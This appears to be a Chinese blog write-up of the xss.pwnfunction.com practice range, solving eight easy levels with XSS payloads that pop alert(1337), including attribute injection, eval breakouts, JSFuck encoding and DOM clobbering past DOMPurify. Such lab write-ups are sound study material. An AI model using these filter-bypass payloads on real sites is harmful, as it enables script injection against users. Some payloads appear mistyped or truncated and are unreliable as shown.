xss.function靶场(easy)

已于 2024-08-18 00:11:19 修改
阅读量637 收藏 10
点赞数 15
文章标签： xss
于 2024-08-17 17:30:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_60286636/article/details/141269797
版权

文章目录


网址：https://xss.pwnfunction.com/

第一关Ma Spaghet!

源码

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析代码，当通过get传参somebody时，就接收参数为传递的参数，如果没传参那么就Somebody。
官方文档写innerHTML标签不会执行

<img src=1 onerror="alert(1337)>"

在这里插入图片描述

第二关Jefff

源码

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

分析源码
也是通过get传参jeff，如果传递了那么就为接受的值，如果没有那么就为JEFFF。然后定义了一个空字符串为ma，然后命令执行eval，再往下就是一个定时器，1秒后会将ma插入maname，且只能执行一次。
危险方法出自eval()，那么我们可以如下构建。

?jeff=aaa"alert(1337);"

前一个双引号是为了eval中的第一个双引号，后一个双引号是为了闭合eval中的第二个双引号，避免报错。

第三关Ugandan Knuckles

源码

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这一关与上面不同的就是进行了<>的过滤，过滤<>的是为了避免用户的输入对代码中的函数进行闭合。那我们就得考虑其他的方式了。
input有一个属性为onfocus是获取焦点事件，还有有一个属性autoonfocus是自动对焦。

?wey=aaa"onfocus=alert(1337) autofocus="

在这里插入图片描述

第四关Ricardo Milos

源码

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

分析源码
也是get传递参数，经过两秒自动提交。
但是get提交的参数是在交给action，那我们可以在action上做文章。

?ricardo=javascript:alert(1337)

在这里插入图片描述

第五关Ah That’s Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

过滤了(、`、)、\，过滤了()那么alert这个函数就触发不了了，那应该怎么做呢？
考虑使用location

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

或者，下面这种思路是将(1337)先进行html实体编码，再进行url编码。

?markassbrownlee=<img src=1 onerror=alert%26%2340%3B1337%26%2341%3B>

在这里插入图片描述

第六关Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这关过滤了大小写字母和数字。
那就只能使用编码的方式进行绕过了。
使用https://jsfuck.com/编码进行绕过。
先使用框架绕过进行编码，再使用url进行编码。
alert(1337)经过框架编码为

(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

在使用URL编码

%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

在这里插入图片描述
遇见这类题目直接用此方法即可。

第七关Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

这关相对于上一关就是增加了字符数量限制。
那就不应该使用上一关的方法。
第一个方法就是使用构造函数。
例如：

var add = new Function(
	'x',
	'y',
	'return x+y'
);
等同于
function add(x,y){
	return x+y;
}

对于匿名函数怎么去立即执行呢？

Function()()

这样就会立即执行匿名函数。
那我们考虑怎么使用这个机制生成payload呢？题目中也过滤了alert，那咱们能不能先大写再使用其他方法变成小写呢？
很幸运，确实有这样的方法

Function(/ALERT(1337)/.source.toLowerCase())()

在这里插入图片描述
第二种做法：使用parseInt()
他有两个参数，一个是string，一个是进制。
例如：

parseInt('alert',30)
8680439

还有一种方法与parseInt作用相反，就是toString().
例如：

8680439..toString(30)
'alert'

那么就是第二种做法

eval(8680439..toString(30))(1337)

在这里插入图片描述
第三种做法：

eval(location.hash.slice(1))

local.hash取得是url的#之后的值，slice是对其进行切片。
hash后面的值不会认为是传参，所以能绕过。

eval(location.hash.slice(1))#alert(1337)

在这里插入图片描述

第八关Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

DOMPurify过滤框架是删除多余的元素，基本绕不过去，不用考虑。
那咱们就向下考虑定时器。
定时器就是在2秒后执行ok。
那我们就可以利用dom破坏技术了。
就是说直接用id或者name的值就能将标签取出来，但是document用id取不出来，用name能取出来。那我们能不能考虑让某个元素的id或者name直接将标签取出来？

setTimeout('console.log('aaa')',500)

当然呢这段代码输出是aaa，也就是说它可以将函数当作一个字符串放进去然后执行。
a标签的href可以通过toString自动替换为字符串。
那么就可以连用a标签和setTimeout进行攻击。
查看DOMPurify的白名单。
在这里插入图片描述
那么我们的协议就可以使用cid或者tel。href必须是协议：主机名，所以我们随机选取一个白名单中的协议。

<a id="ok" href="tel:alert(1337)">

在这里插入图片描述

头发巨多不做程序猿
关注
  • 15
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
xss.js.zip
07-29
"xss.js.zip"是一个专注于防止XSS攻击的JavaScript模块，它通过严格的输入过滤和白名单策略来确保用户提交的内容不会引入潜在的恶意代码。 首先，"xss.js"的核心功能在于提供了一套完整的输入过滤机制。这个模块会...
XSS.rar_XSS
09-22
XSS（Cross-Site Scripting，跨站脚本攻击）是一种常见的网络安全问题，尤其是在Web前端开发中尤为突出。XSS攻击允许攻击者在用户浏览器上执行恶意脚本，从而窃取用户数据、操纵用户界面或者执行其他有害操作。以下...
SpringBoot整合XSS.zip
04-30
1. **XSS攻击简介**：XSS（Cross Site Scripting）是一种常见的网络攻击方式，攻击者通过在网页上注入恶意脚本，使得用户在不知情的情况下执行这些脚本，从而获取敏感信息或执行恶意操作。XSS攻击通常分为反射型、...
xss-labs靶场通关
10-13
xss-labs靶场通关 本篇文章将对xss-labs靶场的六关源码进行详细的分析和总结，并对每一关的xss攻击payload进行解释。 第一关 xss-labs靶场的第一关源码没有做任何过滤，直接上xss payload：<script>alert("XSS")...
sql和xss等靶场资料包.zip
12-21
bWAPP latest.zip DVWA-master.zip pikachu-master.zip sqli-labs-master.zip upload-labs-master-21.zip xss闯关小游戏.Zip xxe-lab-masteri靶场.rar PhpStudy20180211.zip vc9x86(必装).eXe vc11 x86.exe
XSS盲打与cookie劫持
m0_74249600的博客
08-14 901
本文紧接上篇文章讲述了XSS盲打、cookie劫持以及靶场实践，请关注持续更新（本文部分内容来自课件，如有版权问题请与我联系）
XSS-DOM
最新发布
qq_51502737的博客
08-18 501
我们可以通过这种方式去创建或者覆盖 document 或者 window 对象的某些值，但是看起来我们举的例子只是利用标签创建或者覆盖最终得到的也是标签，是一个HTMLElment对象。可以明显的看到这是个DOM XSS，用户的输入会构成一个新div元素的子结点，但在插入body之前会被移除所有的属性。但是对于大多数情况来说，我们可能更需要将其转换为一个可控的字符串类型，以便我们进行操作。最内层的svg先触发，然后再到下一层，而且是在DOM树构建完成以前就触发了相关事件。先注释掉过滤代码，此时正常弹窗。
xss.function靶场(hard)
丁航航的博客
08-18 251
目前啥也不输入，直接进入查看。
XSS的DOM破坏
m0_67441173的博客
08-17 678
@keyframes x{}
xss GAME （xss漏洞攻击1-8）
weixin_65785894的博客
08-18 559
构建一个ALERT(1337) source 是获取函数原码 toLowerCase() 获取小写。，原型为parseInt ( String s , [ int radix ] )，用于解析一个。alert 这个 t 必须到30进制才可以转换的到 例子：16进制最大是F。分析：innerText=ma 这个代码 将会把你输入的都将转换为文本。就是修改他原来的参数，进行覆盖，最后误以为是正确的。而且有需求，不能有用户参与，而且必须弹窗1337。分析源码可知，没有任何过滤，那直接动手操作即可。
xss.pwnfunction-Easy
banliyaoguai的博客
08-17 510
然后要获取prototype携带的toString方法，且不能是Object.prototype下的字符串方法，因为后者返回的是一个元素，我们需要的是可控的字符串。然后你是用上面的两个属性弹窗一个属性就会以字符串的形式展示href里面的值，如果你用的是从object继承来的toString，就会返回一个对象，例子如下。我们看到innerHTML可以想到使用img标签，然后看到过滤了括号我们可以尝试使用location，然后使用%25编码%绕过()它匹配字符串 "ALERT(1337)"。
XSS DOM漏洞复现 与DOM 破坏
iteuko的博客
08-17 412
此关过滤了字母数字，所以只能用编码去解决，去JSFUCK上面把alert(1337)编码，然后再编码成url编码格式 放入即可。第二种parseint 解析一个字符串并返回指定基数的十进制整数，radic是2-36之间的整数，表示被解析字符串的基数。指针的原理，删完一个，指针会后移动，所以删除1，3，5的位置 ，2，4位置保留，那么把payload写到2，4，位置即可。CSS动画，下面的el删除的是后面的input的内容，已经通过它们占了。获取到ok,会自动用tostring方法，获取href属性。
XSS Game练习
Pu5073的博客
08-17 552
1.Ma Spaghet 直接get传参 ?somebody=aaaa 直接使用img标签 ?somebody=<img%20src=1%20onerror="alert(1337)"> 官方文档 应使用innertext，安全性更高 2.Jefff 通过代码可以知道是通过eval的代码执行，setTimeout中的内容表示在一秒后执行一次 危险方法为eval，用双引号闭合即可 ?jeff=";alert(1337);" or ?jeff=";-alert(1337);-" 3
XSS实验记录
qq_58742048的博客
08-17 802
这里的代码使用get传参的方式，给jeff一个值，将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,同时ma还带了一个ineerText的属性。因为过滤掉了（），所以script无法使用，这里使用img的报错实现，因为括号被过滤，使用实体编码进行绕过。在定时器里有一个submmit这个提交事件，获取了from表单的id，在两秒钟进行action的自动提交，而这个action是他接受的一个伪协议。或是使用eval函数来进行转写。
XSS之xss game
qq_68600196的博客
08-18 862
至此，xss game的Warmups部分已结束！
XSS DOM型靶场复现(1-8关)
Sesessep的博客
08-18 380
2.最好把innerHTML替换成有相同效果的innerText，以第一关为例，将innerHTML替换成innerText后，直接将语句当作字符串输出，所有innerText的安全系数要比innerHTML要高。可以利用location加javascript伪协议，将“符号”、“变量名”、“函数名”统统变成“字符串”，在字符串中我们可以使用所有js里可以使用的编码，去构造payload。这句的意思是获取这个url中的get参数，如果有就设置h2的值为get传参的值，如果没有就设置h2的值为“JEFFF”
xss之DOM破坏
m0_72286569的博客
08-17 349
DOM破坏就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。在⽆法直接 XSS的情况下，我们就可以往这⽅向考虑。
DOM型xss靶场实验
Fithck的博客
08-18 290
基于DOM的XSS（Cross-Site Scripting）是一种常见的网络安全漏洞，它利用了浏览器中的DOM（文档对象模型）来执行恶意脚本。DOM是浏览器将HTML文档解析为可操作对象的表示方式。基于DOM的XSS攻击通常发生在客户端，攻击者通过注入恶意脚本代码，使得浏览器在解析和执行页面时执行这些脚本。这些恶意脚本可以窃取用户的敏感信息、修改页面内容、重定向用户到恶意网站等。
XSS GAME
weixin_63032002的博客
08-17 682
html编码 第一排为10进制，第二排为16进制，均可实现 alert(1337) <svg onload="alert(1337)"> --->最后一个()是为了执行前面的函数，因为过滤了小写，所以我们利用大写来绕过，其中的toLowerCase将大写变小写——js严格区分大小写。创造一个id=ok，然后自动调用tostring()方法，将href里面的值放入ok里面，两秒后执行。也就是将alert(1337)拿出放入()里面，得到eval(alert(1337))是一个事件处理器，它在动画开始时触发。
xss .htaccess apache
07-27
您好！针对防止XSS攻击，可以通过在Apache服务器上使用.htaccess文件来进行配置。.htaccess是用于在Apache服务器上设置网站配置的文件。 要防止XSS攻击，您可以添加以下代码到.htaccess文件中： ``` <IfModule mod_headers.c> Header set X-XSS-Protection "1; mode=block" Header set X-Content-Type-Options "nosniff" </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) RewriteRule .* - [F] </IfModule> ``` 上述代码中，首先我们使用mod_headers模块设置了X-XSS-Protection和X-Content-Type-Options响应头，用来告诉浏览器开启XSS保护和阻止MIME嗅探。然后，我们使用mod_rewrite模块禁止了TRACE和TRACK请求方法，这些方法常用于进行XSS攻击。 请注意，您需要确保您的服务器上已经加载了mod_headers和mod_rewrite模块。如果没有加载，您需要在服务器配置文件中启用这些模块。 另外，还有其他一些防止XSS攻击的措施可以采取，例如对用户输入进行输入验证和过滤、使用安全的编码方式等。这些措施可以在应用程序层面进行实施。 希望以上信息对您有帮助！如有更多问题，请随时提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

头发巨多不做程序猿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值